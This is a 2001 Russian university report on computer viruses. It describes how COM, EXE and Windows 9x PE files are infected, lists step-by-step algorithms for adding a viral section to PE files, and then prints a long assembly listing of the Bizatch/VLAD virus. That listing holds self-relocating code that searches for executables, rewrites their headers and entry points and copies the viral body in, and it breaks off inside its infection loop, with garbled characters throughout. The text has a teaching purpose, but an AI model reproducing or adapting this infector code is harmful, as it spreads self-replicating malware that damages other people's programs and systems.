Реферат: Компьютерные вирусы

МИНИСТЕРСТВО ОБРАЗОВАНИЯ РОССИЙСКОЙФЕДЕРАЦИИ

ТАГАНРОГСКИЙРАДИОТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ


РЕФЕРАТ

по курсу «Основы эксплуатации ЭВМ»

тема:«Компьютерные вирусы, методы защиты,

 профилактика илечение»


Выполнил :                                                                   Шуев С.Б.                              


Проверил :                                                                    Евтеев Г.Н.

 


ТАГАНРОГ,2001

 

ВВЕДЕНИЕ

При работе с современным персональным компьютеромпользователя (а особенно начинающего) может подстерегать множествонеприятностей: потеря данных, зависание системы, выход из строя отдельныхчастей компьютера и другие. Одной из причин этих  проблем наряду с ошибками впрограммном  обеспечении)  и  неумелыми  действиями самого оператора ПЭВМ могутбыть проникшие в систему компьютерные вирусы. Эти  программы  подобно биологическим  вирусам размножаются, записываясь в системные области диска или  приписываясь к файлам и производят различные нежелательные действия,которые, зачастую, имеют катастрофические  последствия.  Чтобы  не статьжертвой этой напасти, каждому пользователю  следует  хорошо знать принципызащиты от компьютерных вирусов.

В литературе весьма настойчиво пропагандируется, чтоизбавиться от вирусов можно лишь при помощи сложных (и дорогостоящих)антивирусных программ, и якобы только под их защитой вы сможете чувствоватьсебя в полной безопасности. Это не совсем так – знакомство с особенностямистроения и способами внедрения компьютерных вирусов поможет вовремя ихобнаружить и локализовать, даже если под рукой не окажется подходящейантивирусной программы.


COM– вирусы.

Рассмотрим дваварианта внедрения COM- вируса.

Вариант первый. Вируспереписывает начало программы в конец файла, чтобы освободить место для себя.После этого тело вируса записывается в начало файла, а небольшая его часть,обеспечивающая перенос вытесненного фрагмента программы, на прежнее место – вконец. При восстановлении первоначального вида программы тело вируса будетзатерто, поэтому код вируса, восстанавливающий программу, должен находиться вбезопасном месте, отдельно от основного тела вируса. Этот способ внедренияизображен на рис. 1.

/>


Началопрограммы переписывается в конец файла, освобождая место для вируса

Теловируса записывается в начало файла, а часть вируса обеспечивающаявосстановление программы – в конец

                                                                                                       Рис.1

При загрузке зараженного такимспособом файла управление получит вирус (так как он находится в начале файла ибудет загружен с адреса 100h). После окончания работывирус передает управление коду, переносящему вытесненную часть программы напрежнее место. После восстановления      (в памяти, не в файле) первоначальноговида программы, она запускается. Схема работы вируса изображена на рис. 2.

Второй вариант отличается отпервого тем, что вирус, освобождая для себя место, сдвигает все тело программы,а не переносит ее часть в конец файла. Этот способ внедрения изображен на рис.3. После запуска зараженной программы, как и в предыдущем случае, управлениеполучает вирус.

/>Отработав,вирус передает управление своему коду в конце программы.

Восстанавливается первоначальный вид программы

После восстановления вирус запускает программу

Рис.2

Дальнейшаяработа вируса отличается только тем, что часть вируса, восстанавливающаяпервоначальный вид программы, переносит к адресу 100hвсе тело программы, а не только вытесненную часть. Схема работы вируса,заражающего файл таким образом, приведена на рис. 4.

/>Телопрограммы сдвигается ближе к концу файла, освобождая место для вируса

Тело вируса записывается в начало файла, а частьвируса, обеспечивающая восстановление программы – в конец

рис. 3

/>


/>Отработав, вирус передаетуправление своему коду в конце программы.

/>


/>Восстанавливаетсяпервоначальный вид программы – тело программы сдвигается к адресу 0100h

ПРОГРАММА                                                         ВИРУС

                                                                                  Конец

  После восстановления вирус запускаетпрограмму

рис. 4


EXE–вирусы

EXE – вирусы условно можно разделить на группы, используя вкачестве признака для деления особенности алгоритма.

 

Вирусы,замещающие программный код (Overwrite).

Такие вирусыуже стали раритетом. Их главный недостаток – слишком грубая работа.Инфицированные программы не исполняются, так как вирус записывается поверхпрограммного кода, не сохраняя его. При запуске вирус ищет очередную жертву(или жертвы), открывает найденный файл для редактирования и записывает своетело в начало программы, не сохраняя оригинальный код. Инфицированные этимивирусами программы лечению не подлежат.

 

Вирусы– спутники (Companion).

Эти вирусыполучили свое название из-за алгоритма размножения: к каждому инфицированномуфайлу создается файл – спутник. Рассмотрим более подробно два типа вируса этойгруппы:

Вирусы первоготипа размножаются следующим образом. Для каждого инфицируемого EXE – файла в том же каталоге создается файл с вируснымкодом, имеющим такое же имя, что и EXE – файл, но срасширением СОМ. Вирус активизируется, если при запуске программы в команднойстроке указано только имя исполняемого файла. Дело в том, что, если не указанорасширение файла, DOS сначала ищет в текущем каталогефайл с заданным именем и расширением СОМ. Если СОМ – файл с таким именем ненайден, ведется поиск одноименного ЕХЕ – файла. Если не найден и ЕХЕ – файл, DOS попробует обнаружить и ВАТ (пакетный) файл. В случаеотсутствия в текущем каталоге исполняемого файла с указанным именем поискведется во всех каталогах, доступных по переменной РАТН. Другими словами, когдапользователь хочет запустить программу и набирает в командной строке только ееимя (в основном так все и делают ), первым управление получает вирус, кодкоторого находится в СОМ – файле. Он создает СОМ – файл еще к одному илинескольким ЕХЕ – файлам (распространяется), а затем исполняет ЕХЕ – файл суказанным в командной строке именем. Пользователь же думает, что работаеттолько запущенная ЕХЕ – программа. Вирус – спутник обезвредить довольно просто– достаточно удалить СОМ – файл.

Вирусы второготипа действуют более тонко. Имя инфицируемого ЕХЕ – файла остается прежним, арасширение заменяется каким – либо другим, отличным от исполняемого (СОМ, ЕХЕ иВАТ). Например файл может пллучить расширение DAT (файлданных) или OVL (программный оверлей). Затем на местоЕХЕ – файла копируется вирусный код. При запуске такой инфицированной программыуправление получает вирусный код, находящийся  в ЕХЕ – файле. Инфицировав ещеодин или несколько ЕХЕ – файлов таким же образом, вирус возвращаеторигинальному файлу исполняемое расширение (но не ЕХЕ, а СОМ, посколько ЕХЕ –файл  стаким именем занят вирусом), после чего исполняет его. Когда работаинфицированной программы закончена, ее запускаемому файлу возвращаетсярасширение неисполняемого. Лечение файлов, зараженных вирусом этого типа, можетбыть затруднено, если вирус – спутник шифрует часть или все тело инфицируемогофайла, а перед исполнением его расшифровывает.

Вирусы,внедряющиеся в программу (Parasitic)

Вирусы этого видасамые незаметные: их код записывается в инфицируемую программу, что существеннозатрудняет лечение зараженных файлов. Рассмотрим методы внедрения ЕХЕ — вирусовв ЕХЕ — файл.


Способызаражения ЕХЕ – файлов.

Самыйраспространенный способ заражения ЕХЕ – файлов такой: в конец файладописывается тело вируса, а заголовок корректируется (с сохранениеморигинального) так, чтобы при запуске инфицированного файла управление получалвирус. Похоже на заражение СОМ – файлов, но вместо задания в коде перехода вначало вируса корректируется собственно адрес точки запуска программы. Послеокончания работы вирус берет из сохраненного заголовка оригинальный адресзапуска программы, прибавляет к его сегментной компоненте значение регистра DS или ES (полученное при стартевируса) и передает управление на полученный адрес.

Следующийспособ – внедрение вируса в начало файла со сдвигом кода программы. Механизмзаражения такой: тело инфицируемой программы считывается в память, на ее местозаписывается вирусный код, а после него – код инфицируемой программы. Такимобразом, код программы как бы «сдвигается» в файле на длину кода вируса. Отсюдаи название способа – «способ сдвига». При запуске инфицированного файла вирусзаражает еще один или несколько файлов. После этого он считывает в память кодпрограммы, записывает его в специально созданный на диске временный файл срасширением исполняемого файла (СОМ или ЕХЕ), и затем исполняет этот файл.Когда программа закончила работу, временный файл удаляется. Если при созданиивируса не применялось дополнительных приемов защиты, то вылечить инфицированныйфайл очень просто – достаточно удалить код вируса в начале файла, и программаснова будет работоспособной. Недостаток этого метода в том, что приходитьсясчитывать в память весь код инфицируемой программы (а бывают экземплярыразмером больше 1 Мбайт).

Следующийспособ заражения файлов – метод переноса – по всей видимости, является самымсовершенным из всех перечисленных. Вирус размножается следующим образом: призапуске инфицируемой программы тело вируса из нее считывается в память. Затемведется поиск неинфицированной программы. В память считывается ее начало, подлине равную телу вируса. На это место записывается тело вируса. Началопрограммы из памяти дописывается в конец файла. Отсюда название метода – «методпереноса». После того, как вирус инфицировал один или несколько файлов, онприступает к исполнению программы, из которой запустился. Для этого онсчитывает начало инфицированной программы, сохраненное в конце файла, изаписывает его в начало файла, восстанавливая работоспособность программы.Затем вирус удаляет код начала программы из конца файла, восстанавливаяоригинальную длину файла, и исполняет программу. После завершения программывирус вновь записывает свой код в начало файла, а оригинальное начало программы-  в конец. Этим методом могут быть инфицированы даже антивирусы, которыепроверяют свой код на целостность, так как запускаемая вирусом программа имеетв точности такой же код, как и до инфицирования.


Вирусы под Windows9x.

Формат Portable Executableиспользуется Win 32, Windows NT, Windows95, Windows 98, что делает его очень популярным, и вбудущем, возможно он станет доминирующим форматом ЕХЕ. Этот формат значительноотличается от NE – executable,используемого в Windows 3.11.

ВызовWindows API.

Обычные приложениявызывают Windows API (Application Program Interface) используятаблицу импортируемых имен. Когда приложение загружено,данные, необходимые для вызова API, заносятся в этутаблицу. В Windows 9x,благодаря предусмотрительности фирмы – производителя Microsoft,модифицировать таблицу импортируемых имен невозможно. Это проблема решаетсянепосредственным вызовом KERNEL32. То есть необходимополностью игнорировать структуру вызова и перейти непосредственно на точкувхода DLL.

Чтобыполучить описатель (Handle) DLL/ЕХЕ,можно использовать вызов  АРI GetModuleHandle или другие функции для получения точек входамодуля, включая функцию получения адреса API GetProcAddress.

Как вызывать API, имея возможность вызывать его и в то же время такойвозможности не имея? Ответ: вызывать API, расположениекоторого в памяти известно – это API в файле KERNEL32.DLL, он находится попостоянному адресу.

Вызов API приложениями выглядит приблизительно так:

сall      API_FUNCTION_NAME

например:

call      CreateFileA

После компиляции этот вызоввыглядит так:

db        9Ah    ; инструкция call

dd       ????    ; смещение в таблице переходов

Код в таблице переходов похож натакой:

jmp      far [offset into import table]

Смещение в таблице импортируемыхимен содержит адрес диспетчера для данной функции API.Этот адрес можно получить с помощью GetProcAddress API. Диспетчер функций выглядит так:

push    function value

call      Module Entrypoint

Зная точкивхода, можно вызывать их напрямую, минуя таблицу этого модуля. Поэтому можнозаменить вызовы KERNEL32.DLL вего стандартной точке на вызовы непосредственно функций. Просто сохраняем встеке значение функции и вызываем точку входа в модуль.

Модуль KERNEL32.DLL располагается в памятистатически – именно так и предполагалось. Но конкретное место его расположенияв разных версиях Windows 9xотличается. Это было проверено. Оказалось, что одна функция (получениевремени/даты) отличается номером. Для компенсации этих различий добавленапроверка двух различных мест на наличие KERNEL32.DLL. Но если KERNEL32.DLL все-таки не найден, вирус возвращает управлениепрограмме-носителю.

Адресаи номера функции.

Для June Test Release KERNEL32.DLL находится по адресу 0BFF93B95h,для August Release– по адресу 0BFF93C1Dh. Можно найти другие значения функции, используя 32-битныйотладчик. В таблице 1 приведены адреса функций, которые нужны для работывируса.

Таблица 1. Адреса некоторых функций KERNEL32.DLL

Функция

АдресвJune Test Release

АдресвAugust Test Release

GetCurrentDir BFF77744h BFF77744h SetCurrentDir BFF7771Dh BFF7771Dh GetTime BFF9D0B6h BFF9D14Eh MessageBox BFF638D9h BFF638D9h FindFile BFF77893h BFF77893h FindNext BFF778CBh BFF778CBh CreateFile BFF77817h BFF77817h SetFilePointer BFF76FA0h BFF76FA0h ReadFile BFF75806h BFF75806h WriteFile BFF7580Dh BFF7580Dh CloseFile BFF7BC72h BFF7BC72h

Соглашения овызовах.

Windows 9x написан на языках С++ (восновном) и Assembler. И, хотя соглашения о вызовахпросты для применения, Microsoft их не использует. Все АРI под Windows 9x используют Pascal Calling Convention. Пример – АРI,описанный в файлах справки Visual C++:

FARPROC        GetProcAddres (

               HMODULE   hModule,                                // описатель DLL-модуля

               LPCSTR         lpszProc                                  //имя функции

);

На первыйвзгляд кажется, что достаточно лишь сохранить в стеке описатель DLL-модуля (он стоит перед указателем на имя функции) ивызвать API. Но это не так. Параметры, согласно Pascal Calling Convention, должны быть сохранены встеке  в обратном порядке:

Push       offset lpszProc

Push       dword ptr [hModule]

Call        GetProcAddress

Используя 32-битныйотладчик, можно оттрасировать вызов и найти вызов KERNEL32.DLLдля каждого конкретного случая. Это позволит получить номер функции и обойтисьбез необходимой для вызова таблицы импортируемых имен.


Заражение файлов формата PEexecuatable.

Определение положенияначала РЕ – заголовка происходит аналогично поиску начала NE –заголовка. Если смещение таблицы настройки адресов (поле 18h) взаголовке ЕХЕ – файла 40h или больше, то по смещению 3Ch находитсясмещение PE – execuatable заголовка. Сигнатура PE – execuatable («РЕ») находится, как и у NE – execuatable ЕХЕ– файла, в начале нового заголовка.

Внутри PE –заголовка находится таблица объектов. Ее формат наиболее важен по сравнению спрочими. Для добавления вирусного кода в носитель и перехвата вирусомуправления необходимо добавить элемент в таблицу объектов.

Основные действиязаражения PE – execuatable файла:

1.   Найти смещение заголовка PE – execuatable в файле.

2.   Считать достаточное количествоинформации из заголовка для вычисления его полного размера.

3.   Считать весь PE –заголовок и таблицу объектов.

4.   Добавить новый объект в таблицуобъектов.

5.   Установить точку входа RVAна новый объект.

6.   Дописать вирус к файлу повычисленному физическому смещению.

7.   Записать измененный РЕ – заголовокв файл.

Для определениярасположения таблицы объектов следует воспользоваться значением переменной «HeaderSize» (не путать с «NT headersize»), которая содержитсовместный размер заголовков DOS, PE и таблицы объектов.

Для чтения таблицыобъектов необходимо считать HeaderSize байт от начала файла.

Таблица объектоврасположена непосредственно за NT – заголовком. Значение «NTheadersize»показывает количество байт, следующих за полем «flags». Итак,для определения смещения таблицы объектов нужно получить NТheadersize и добавить размер поля флагов (24).

Добавление объекта:получив количество объектов, умножить его на 40 (размер элемента таблицыобъектов). Таким образом определяется смещение, по которому будет расположенвирус.

Данные для элементатаблицы объектов должны быть вычислены с использованием информации в предыдущемэлементе (элементе носителя).

RVA=((prevRVA+ prev Virtual Size)/OBJ Alignment+1)

*OBJAlignment

Virtual Size=((sizeof virus+buffer any space)/OBJ Alignment+1)

*OBJAlignment

PhysicalSize=(size of virus/File Alignment+1)*File Alignment

PhysicalOffset=prev Physical Offset+prev Physical Size

ObjectFlags=db 40h,0,0,C0h

EntrypointRVA=RVA

Теперь необходимо увеличитьна единицу поле «количество объектов» и записать код вируса по вычисленному«физическому смещению» в размере физического размера байт.


Пример вируса под Windows9x.

.386

locals

jumps

.model flat,STDCALL

 include win32.inc     ; некоторые 32-битные константы и структуры

 L equ <LARGE>

                       ; Определим внешние функции, к которым будет подключаться вирус

 extrn BeginPaint:PROC

 extrn CreateWindowExA:PROC

 extrn DefWindowProcA:PROC

 extrn DispatchMessageA:PROC

 extrn EndPaint:PROC

 extrn ExitProcess:PROC

 extrn FindWindowA:PROC

 extrn GetMessageA:PROC

 extrn GetModuleHandleA:PROC

 extrn GetStockObject:PROC

 extrn InvalidateRect:PROC

 extrn LoadCursorA:PROC

 extrn LoadIconA:PROC

 extrn MessageBeep:PROC

 extrn PostQuitMessage:PROC

 extrn RegisterClassA:PROC

 extrn ShowWindow:PROC

 extrn SetWindowPos:PROC

 extrn TextOutA:PROC

 extrn TranslateMessage:PROC

 extrn UpdateWindow:PROC

       ; Для поддержкиUnicode Win32 интерпретирует некоторые функции

       ; для ANSI илирасширенного набора символов.

       ; В качестве примерарассмотрим ANSI

 CreateWindowEx equ<CreateWindowExA>

 DefWindowProc equ<DefWindowProcA>

 DispatchMessage equ<DispatchMessageA>

 FindWindow equ<FindWindowA>

 GetMessage equ<GetMessageA>

 GetModuleHandle equ<GetModuleHandleA>

 LoadCursor equ<LoadCursorA>

 LoadIcon equ<LoadIconA>

 MessageBox equ<MessageBoxA>

 RegisterClass equ<RegisterClassA>

 TextOut equ <TextOutA>

.data

 newhwnd     dd 0

 lppaint PAINTSTRUCT<?>

 msg MSGSTRUCT <?>

 wc WNDCLASS <?>

 mbx_count   dd 0

 hInst       dd 0

 szTitleName db «Bizatchby Quantum / VLAD activated»

 zero        db 0

 szAlternate db «morethan once»,0

 szClassName db«ASMCLASS32»,0

                       ; Сообщение выводимое в окне

 szPaint db «Left buttonpressed:»

 s_num   db «00000000htimes.»,0

                       ; Размер сообщения

 MSG_L EQU ($-offsetszPaint)-1

.code

                       ; Сюда  обычно передается управление от загрузчика.

start:

                       ; Получим HMODULE

 push L 0

 call GetModuleHandle

 mov  [hInst],eax

 push L 0

 push offset szClassName

 call FindWindow

 or   eax,eax

 jz   reg_class

                        ; Пространство для модификации строки заголовка

 mov [zero]," "

reg_class:

                        ; Инициализируем структуру WndClass

 mov[wc.clsStyle],CS_HREDRAW+CS_VREDRAW+CS_GLOBALCLASS

 mov[wc.clsLpfnWndProc],offset WndProc

 mov [wc.clsCbClsExtra],0

 mov [wc.clsCbWndExtra],0

 mov eax,[hInst]

 mov [wc.clsHInstance],eax

                        ; Загружаем значок

 push L IDI_APPLICATION

 push L 0

 call LoadIcon

 mov  [wc.clsHIcon],eax

                        ; Загружаем курсор

 push L IDC_ARROW

 push L 0

 call LoadCursor

 mov  [wc.clsHCursor],eax

                        ; Инициализируем оставшиеся поля структуры WndClass

 mov[wc.clsHbrBackground],COLOR_WINDOW+1

 mov dword ptr[wc.clsLpszMenuName],0

 mov dword ptr[wc.clsLpszClassName],offset szClassName

               ; Регистриремкласс окна

 push offset wc

 call RegisterClass

                                 ; Создаем окно

 push L0                         ;lpParam

 push[hInst]                     ;hInstance

 push L0                        ; Меню

 push L 0                         ;hwndродительского окна

 push LCW_USEDEFAULT            ; Высота

 push LCW_USEDEFAULT            ; Длина

 push LCW_USEDEFAULT             ;Y

 push LCW_USEDEFAULT             ;X

 push LWS_OVERLAPEEDWINDOW       ;Style

 push offset szTitleName         ;Title Style

 push offsetszClassName          ;Class Name

 push L0                         ;extra style

 call CreateWindowEx

                                 ; Сохраняем HWND

 mov [newhwnd],eax

                                 ; Отображаем окно на экране

 push L SW_SHOWNORMAL

 push [newhwnd]

 call ShowWindow

                                 ; Обновляем содержимое окна

 push [newhwnd]

 call UpdateWindow

                                 ; Очередь сообщений

msg_loop:

                                  ; Прочитаемследующее сообщение из очереди

 push L 0

 push L 0

 push L 0

 push offset msg

 call GetMessage

                       ; Еслифункция GetMessage вернула нулевое значение,

                       ; тозавершаем обработку сообщений и выходим из процесса

 cmp ax,0

 je  end_loop

                       ; преобразуем виртуальные коды клавиш в сообщения клавиатуры

 push offset msg

 call TranslateMessage

                      ; Предаем это сообщение назад в Windows

 push offset msg

 call DispatchMessage

                      ; Переходим к следующему сообщению

 jmp msg_loop

                       ; Выходим из процесса

end_loop:

 push [msg.msWPARAM]

 call ExitProcess

     ; Обработка сообщенийокна. Win32 требует сохранения регистров

      ;EBX, EDI, ESI. запишемэти регистры после «uses» в строке «proc»

     ; Это позволитАссемблеру сохранить их

 WndProc proc uses ebx ediesi,hwnd:DWORD, wmsg:DWORD,

 wparam:DWORD, lparam:DWORD

 LOCAL theDC:DWORD

; Проверим,какое сообщение получили, и перейдем к обработке

cmp[wmsg],WM_DESTROY

je  wmdestroy

стр[wmsg],WM_RBUTTONDOWN

je  wmrbuttondown

cmp[wmsg],WM_SIZE

je  wmsize

cmp[wmsg],WM_CREATE

je  wmcreate

cmp[wmsg],WM_LBUTTONDOWN

je  wmlbuttondown

cmp[wmsg],WM_PAINT

je  wmpaint

cmp[wmsg],WM_GETMINMAXINFO

je  wmgetminmaxinfo

<p/>

; Данная программа не обрабатываетэто сообщение.

; Передадим его Windows,

; чтобыоно было обработано по умолчанию

jmpdefwndproc

; СообщениеWM_PAINT (перерисовать содержимое окна)wmpaint:

; Подготовимокно для перерисовки

pushoffset Ippaint

push[hwnd]

call BeginPaint

mov[theDC], eax

; Переведем в ASCII-формат значениеmbx_count, которое

; доказывает, сколько раз быланажата левая кнопка мыши

moveax,[mbx_count]

movedi, offset s_num

call HexWrite32

;Вывод строки в окно

pushL MSG_L              ; Длина строки

pushoffset szPaint      ; Строка

pushL 5                  ;Y

pushL 5                  ;X

push[theDC]              ;DC

callTextOut

;0бозначимзавершение перерисовки окна

pushoffset Ippaint

push[hwnd]

call EndPaint

; Выходимиз обработки сообщения

moveax, 0

jmpfinish

; СообщениеWM_CREATE (создание окна)

wmcreate:

;Выходим из обработки сообщения

moveax, 0

jmpfinish

; Сообщение,не обрабатываемое данной программой, передаем Windows

defwndproc:

push[Iparam]

push[wparam]

push[wmsg]

push[hwnd]

callDefWindowProc

;Выходим из обработки сообщения

jmpfinish

; СообщениеWM_DESTROY (уничтожение окна)

wmdestroy:

;Закроем поток

pushL О

callPostQuitMessage

; Выходимиз обработки сообщения

moveax, О

jmpfinish

; Сообщение WMJ-BUTTONDOWN (нажаталевая кнопка мыши)

wmlbuttondown:

inc  [mbx_count]

;0бновимсодержимое окна

pushL 0

pushL 0

push[hwnd]

callInvalidateRect

[Выходимиз обработки сообщения

moveax, О

jmpfinish

; СообщениеWM_RBUTTONDOWN (нажата правая кнопка мыши)

wmrbuttondown:

pushL 0

callMessageBeep

; Выходимиз обработки сообщения

jmpfinish

; СообщениеWM_SIZE (изменен размер окна)

wmsize:

; Выходимиз обработки сообщения

moveax, О

jmpfinish

; СообщениеWM_GETMINMAXINFO (попытка изменить размер

; илиположение окна)

wmgetminmaxinfo:

; Заполнимструктуру MINMAXINFO

movebx, [Iparam]

mov[(MINMAXINFO ptr. ebx).mintrackposition_x],350

mov[(MINMAXINFO ptr ebx).mintrackposition_y],60

; Выходимиз обработки сообщения

moveax, О

jmpfinish

; Выходимиз обработки сообщения

finish:

ret

WndProcendp

; Процедураперевода байта в ASCII-формат для печати. Значение,

; находящеесяв регистре AL, будет записано в ASCII-формате

; поадресу ES-.EDI

HexWriteSproc

; Разделяембайт на полубайты и загружаем их в регистры АН и AL

movah,al

andal.0Fh

shr ah,4

; Добавляем30h к каждому полубайту, чтобы регистры содержали коды

; соответствующихсимволов ASCII. Если число,

; записанноев полубайте, было больше 9,

; тозначение в этом полубайте надо еще корректировать

or  ax,3030h

; Меняемполубайты местами, чтобы регистр АН содержал младший

; полубайт,а регистр AL — старший

xchgal.ah

; Проверим, надо ли корректироватьмладший полубайт,

; еслида — корректируем

cmpah, 39h

ja  @@4

; Проверим,надо ли корректировать старший полубайт,

; еслида — корректируем

@@1:

cmpal,39h

ja  @@3

; Сохранимзначение по адресу ES:EDI

@@2:

stosw

ret

; Корректируемзначение старшего полубайта

@@3:

subal, 30h

addal, «A»-10

jmp@@2

; Корректируемзначение младшего полубайта

@@4:

subah, 30h

addah, «A»-10

jmp@@1

HexWriteSendp

;Процедура перевода слова в ASCII-формат для печати.

; Значение,находящееся в регистре АХ, будет записано

; вASCII-формате по адресу ES:EDI

HexWrite16proc

; Сохраниммладший байт из стека

pushax

; Загрузимстарший байт в регистр AL

xchgal,ah

; Переведемстарший байт в ASCII-формат

callHexWriteS

; Восстановиммладший байт из стека

popax

; Переведеммладший байт в ASCII-формат

call HexWriteS

ret

HexWrite16endp

; Процедураперевода двойного слова в ASCII-формат для печати.

; Значение,находящееся в регистре ЕАХ, будет записано

; вASCII-формате по адресу ES:EDI

HexWrite32proc

; Сохраниммладшее слово из стека

pusheax

; Загрузимстаршее слово в регистр АХ

shr eax, 16

; Переведемстаршее слово в ASCII-формат

callHexWrite16

; Восстановиммладшее слово из стека

popeax

; Переведеммладшее слово в ASCII-формат

callHexWrite16

ret

HexWrite32endp

; Сделаемпроцедуру WndProc доступной извне

publicWndProc

ends

; Здесьначинается код вируса. Этот код переписывается из файла

; вфайл. Все вышеописанное — всего лишь программа-носитель

vladsegsegment para public «vlad»

assumecs:vladseg

vstart:  *

; Вычислимтекущий адрес

call  recalc

recalc:

popebp

moveax,ebp

db2Dh        ; Код команды SUB AX

subme  dd 30000h+(recalc-vstart)

; Сохранимадрес в стеке

pusheax

; Вычислимстартовый адрес вирусного кода

subebp,offset recalc

; ИщемKERNEL. Возьмем вторую известную нам точку KERNEL

moveax,[ebp+offset kern2]

; Проверимключ. Если ключа нет, перейдем к точке 1

cmpdword ptr [eax],5350FC9Ch

jnz notkern2

;KERNELнайден, точка 2

moveax,[ebp+offset kern2]

jmpmovit

; Точка2 не подошла, проверим точку 1

notkern2:

;Возьмем адрес первой известной нам точки KERNEL

moveax,[ebp+offset kern1]

; Проверим ключ, если ключа нет — выходим

cmpdword ptr [eax],5350FC9Ch

jnz nopayload

;KERNELнайден, точка 1

moveax,[ebp+offset kern1]

;KERNELнайден, адрес точки входа находится в регистре EAX

movit:

; Сохранимадрес KERNEL

mov[ebp+offset kern],eax

cld

;3апомнимтекущую директорию

lea eax, [ebp+offset orgdir]

pusheax

push255

callGetCurDir

; Инициализируем счетчик заражений

movbyte ptr [ebp+offset countinfect],0

; Ищемпервый файл

infectdir:

lea  eax, [ebp+offset win32_data_thang]

pusheax

lea eax, [ebp+offset fname]

pusheax

call  FindFile

; Сохраниминдекс для поиска

movdword ptr [ebp+offset searchhandle],eax

Проверим,найден ли файл. Если файл не найден,

; меняемдиректорию

cmpеах,-1

jz   foundnothing

;0ткроемфайл для чтения и записи

gofile:

pushО

pushdword ptr [ebp+offset fileattr] ;FILE_ATTRIBUTE_NORMAL

push3                        ;OPEN_EXISTING

push0

push0

push80000000h+40000000h      ;GENERIC_READ+GENERIC_WRITE

lea  eax, [ebp+offset fullname]

pusheax

call  CreateFile

; Сохранимописатель файла

movdword ptr [ebp+offset ahand],eax

; Проверим,не произошла ли ошибка.

; Еслиошибка произошла, ищем следующий файл

сmр еах,-1

jz   findnextone

; Доставим указатель позициичтения/записи на поле

; сосмещением РЕ-заголовка

pushО

pushО

push3Ch

pushdword ptr [ebp+offset ahand]

call  SetFilePointer

; Считаемадрес РЕ-заголовка

pushО

lea  eax,[ebp+offset bytesread]

pusheax

push4

lea  eax, [ebp+offset peheaderoffset]

pusheax

pushdword ptr [ebp+offset ahand]

call ReadFile

; Доставим указатель позициичтения/записи на начало РЕ-заголовка

push0

push0

pushdword ptr [ebp+offset peheaderoffset]

pushdword ptr [ebp+offset ahand]

call SetFilePointer

; Считаемчисло байт, достаточное для вычисления полного размера

; РЕ-заголовкаи таблицы объектов

push0

lea  eax, [ebp+offset bytesread]

pusheax

push58h

lea eax, [ebp+offset peheader]

pusheax

pushdword ptr [ebp+offset ahand]

call ReadFile

; Проверим сигнатуру. Если ее нет,закрываем

; этотфайл и ищем следующий

cmpdword ptr [ebp+offset peheader], 00004550h;

jnz  notape

; Проверимфайл на зараженность. Если файл заражен,

; тозакрываем этот файл и ищем следующий

cmpword ptr [ebp+offset peheader+4ch],OFOODh

jz   notape

cmpdword ptr [ebp+offset 52],4000000h

jz   notape

; Доставим указатель позициичтения/записи на начало РЕ-заголовка

push0

push0

pushdword ptr [ebp+offset peheaderoffset]

pushdword ptr [ebp+offset ahand]

call SetFilePointer

; Считаемвесь РЕ-заголовок и таблицу объектов

pushО

lea  eax, [ebp+offset bytesread]

pusheax

pushdword ptr [ebp+offset headersize]

lea eax, [ebp+offset peheader]

pusheax

pushdword ptr [ebp+offset ahand]

call ReadFile

; становим признак заражения

movword ptr [ebp+offset peheader+4ch],OFOODh

; Найдем смещение таблицы объектов

xor eax,eax

movax, word ptr [ebp+offset NtHeaderSize]

addeax,18h

movdword ptr [ebp+offset ObjectTableoffset],eax

; Вычислимсмещение последнего (null) объекта в таблице объектов

movesi,dword ptr [ebp+offset ObjectTableoffset]

lea  eax, [ebp+offset peheader]

addesi,eax

xor eax.eax

movax, [ebp+offset numObj]

movecx,40

xor edx.edx

mulecx

addesi,eax

; Увеличимчисло объектов на 1

inc  word ptr [ebp+offset numObj]

lea  edi,[ebp+offset newobject]

xchgedi,esi

; Вычислимотносительный виртуальный адрес (Relative Virtual Address

; илиRVA) нового объекта

moveax,[edi-5*8+8]

addeax,[edi-5*8+12]

movecx,dword ptr [ebp+offset objalign]

xor edx,edx

div  ecx

inc  eax

mulecx

movdword ptr [ebp+offset RVA],eax

; Вычислимфизический размер нового объекта

movecx,dword ptr [ebp+offset filealign]

moveax,vend-vstart

xor edx,edx

div ecx

inc  eax

mulecx

movdword ptr [ebp+offset physicalsize],eax

; Вычислимвиртуальный размер нового объекта

movecx,dword ptr [ebp+offset objalign]

moveax,vend-vstart+1000h

xor edx.edx

div ecx

inc  eax

mulecx

movdword ptr [ebp+offset virtualsize],eax

; Вычислимфизическое смещение нового объекта

moveax,[edi-5*8+20]

addeax,[edi-5*8+16]

movecx,dword ptr [ebp+offset filealign]

xor edx,edx

div ecx

inc  eax

mulecx

movdword ptr [ebp+offset physicaloffset],eax

; Обновимразмер образа (размер в памяти) файла

moveax,vend-vstart+1000h

addeax,dword ptr [ebp+offset imagesize]

movecx, [ebp+offset objalign]

xor edx,edx

div ecx

inc eax

mulecx

movdword ptr [ebp+offset imagesize],eax

; Скопируемновый объект в таблицу объектов

movecx,10

repmovsd

; Вычислимточку входа RVA

moveax,dword ptr [ebp+offset RVA]

movebx,dword ptr [ebp+offset entrypointRVA]

movdword ptr [ebp+offset entrypointRVA],eax

subeax.ebx

addeax,5

; Установимзначение, необходимое для возврата в носитель

movdword ptr [ebp+offset subme],eax

; Поставимуказатель позиции чтения/записи на начало РЕ-заголовка

pushО

pushО

pushdword ptr [ebp+offset peheaderoffset]

pushdword ptr [ebp+offset ahand]

call  SetFilePointer

; ЗапишемРЕ-заголовок и таблицу объектов в файл

pushО

lea  eax,[ebp+offset bytesread]

pusheax

pushdword ptr [ebp+offset headersize]

lea  eax, [ebp+offset peheader]

pusheax

pushdword ptr [ebp+offset ahand]

call  WriteFile

; Увеличимсчетчик заражений

inc  byte ptr [ebp+offset countinfect]

; Поставим указатель позициичтения/записи

; пофизическому смещению нового объекта

pushО

pushО

pushdword ptr [ebp+offset physicaloffset]

pushdword ptr [ebp+offset ahand]

call  SetFilePointer

; Запишемтело вируса в новый объект

pushО

lea  eax, [ebp+offset bytesread]

pusheax

pushvend-vstart

lea  eax, [ebp+offset vstart]

pusheax

pushdword ptr [ebp+offset ahand]

call WriteFile

;3акроемфайл

notape:

pushdword ptr [ebp+offset ahand]

call  CloseFile

;Переход к следующему файлу

findnextone:

; Проверим, сколько файловзаразили: если 3,

; товыходим, если меньше — ищем следующий

cmpbyte ptr [ebp+offset countinfect],3

jz    outty

; Ищемследующий файл

lea  eax, [ebp+offset win32_data_thang]

pusheax

pushdword ptr [ebp+offset searchhandle]

call FindNext

; Еслифайл найден, переходим к заражению

